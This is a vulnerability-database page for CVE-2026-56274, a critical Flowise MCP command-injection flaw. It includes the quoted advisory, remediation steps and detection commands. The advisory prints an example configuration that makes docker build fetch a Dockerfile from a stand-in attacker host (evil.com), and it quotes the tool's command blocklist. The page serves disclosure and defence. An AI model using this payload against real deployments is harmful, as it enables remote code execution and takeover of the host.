Sign in Sign up
JA · EN · FR
SecPulse
Categories
CVE-2026-56274 critical CVSS 9.9

Vulnerability in flowise (CVE-2026-56274)

Summary

Vulnerability in flowise (CVE-2026-56274). Successful exploitation can lead to full system takeover. Exploitable via POST /api/v1/prediction/{chatflows_id}. Mitigation: upgrade to 3.1.2 or later.

Original description

The description as published by the source.

Summary

There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods

Details

【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution

The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration
→ Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build)
→ docker build will pull the Dockerfile from the remote address and execute the RUN instructions within it
→ Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine

Precondition:

  1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
  2. The deployment environment has the docker command

Vulnerable function - validateCommandFlags:

file: packages/components/nodes/tools/MCP/core.ts:260-310

const COMMAND_FLAG_BLACKLIST: Record = {
    docker: [
        'run', 'exec', '-v', '--volume', '--privileged', '--cap-add',
        '--security-opt', '--network', '--pid', '--ipc'
        //  'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist 
    ],
    npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
    npm: ['run', 'exec', 'install', '--prefix', '-g…

Source: NIST National Vulnerability Database NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-56274 has been found in flowise.
Attackers can target a specific entry point like POST /api/v1/prediction/{chatflows_id} over the network to misuse the product.
Successful exploitation can lead to full system takeover. CVSS score: 9.9/10.
What to do: upgrade flowise to 3.1.2 or later.
If unsure, ask your IT team or search "flowise CVE-2026-56274" on the vendor's site.

CVE-2026-56274 (flowise) — CWE-184 / CVSS v3 9.9
Attack vector: remote (network-reachable) / no user interaction
Attack surface: POST /api/v1/prediction/{chatflows_id} / POST /api/v1/export-import/import / POST /api/v1/export-import/chatflow-messages
Patched: 3.1.2 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-184) exists in flowise. Attackers reach the vulnerable code path via POST /api/v1/prediction/{chatflows_id}.

📍 Affected scope

Check the vendor advisory for the affected versions of flowise. Attack surface: POST /api/v1/prediction/{chatflows_id} / POST /api/v1/export-import/import / POST /api/v1/export-import/chatflow-messages.

🔥 Severity

Severity: Critical (CVSS 9.9/10). Successful exploitation can lead to full system takeover.

🔧 How to fix

Update to 3.1.2.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual POST /api/v1/prediction/{chatflows_id} requests with malformed payloads or SQL meta-characters. Run grep -r 'flowise' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    grep -r 'flowise' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で flowise を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Hunt for indicators of compromise detect 
    grep 'POST /api/v1/prediction/{chatflows_id}' /var/log/nginx/access.log | grep -E '(unusual_payload|sqli_pattern)'

    アクセスログで POST /api/v1/prediction/{chatflows_id} への異常なリクエスト (不正な認証ヘッダ・SQLメタ文字)を過去 30〜90日分捜索。WAF/SIEM があれば該当パスのアラート発火履歴を確認。

  3. 3
    Apply patch patch 
    Upgrade flowise to 3.1.2

    ステージング環境で 3.1.2 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスと、Step 2 で見つけた異常検知の続報チェックを含めること。

  4. 4
    Post-deployment verification verify 
    Replay attack against POST /api/v1/prediction/{chatflows_id} on staging to confirm patch closes the vector

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番では Step 2 と同じログクエリでアラート再発が無いか継続監視。

Affected packages

npm flowise
[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.2"}]}]
npm flowise-components
[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.2"}]}]

References

We use cookies for analytics and ad measurement. This setting applies to all Game co., Ltd. sites. Details